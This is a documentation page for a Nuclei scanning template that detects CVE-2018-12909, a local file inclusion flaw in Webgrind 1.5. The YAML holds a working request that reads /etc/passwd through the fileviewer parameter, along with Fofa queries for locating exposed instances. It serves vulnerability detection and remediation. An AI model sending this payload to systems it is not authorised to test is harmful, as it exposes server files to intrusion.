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Webgrind <= 1.5 - Local File Inclusion

ID: CVE-2018-12909

Severity: high

Author: DhiyaneshDk

Tags: cve,cve2018,lfi,webgrind,webgrind_project

Description

Section titled “Description”

Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI

YAML Source

Section titled “YAML Source”
id: CVE-2018-12909


info:
  name: Webgrind <= 1.5 - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI
  remediation: |
    Upgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Webgrind%20fileviewer.phtml%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2018-12909.md
    - https://github.com/jokkedk/webgrind/issues/112
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12909
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12909
    cwe-id: CWE-22
    epss-score: 0.00466
    epss-percentile: 0.74979
    cpe: cpe:2.3:a:webgrind_project:webgrind:1.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webgrind_project
    product: webgrind
    fofa-query:
      - app="Webgrind"
      - app="webgrind"
  tags: cve,cve2018,lfi,webgrind,webgrind_project


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd"


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - 'webgrind'
        condition: and


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100cd9e58883a0ea80fba7a8f975ade462beb7e2fca85336ac80cc0614c150636e80220228f6a056032776afbf477ce3aa2415744c7b49e94027b266fc9f57a156f721e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-12909.yaml"

View on Github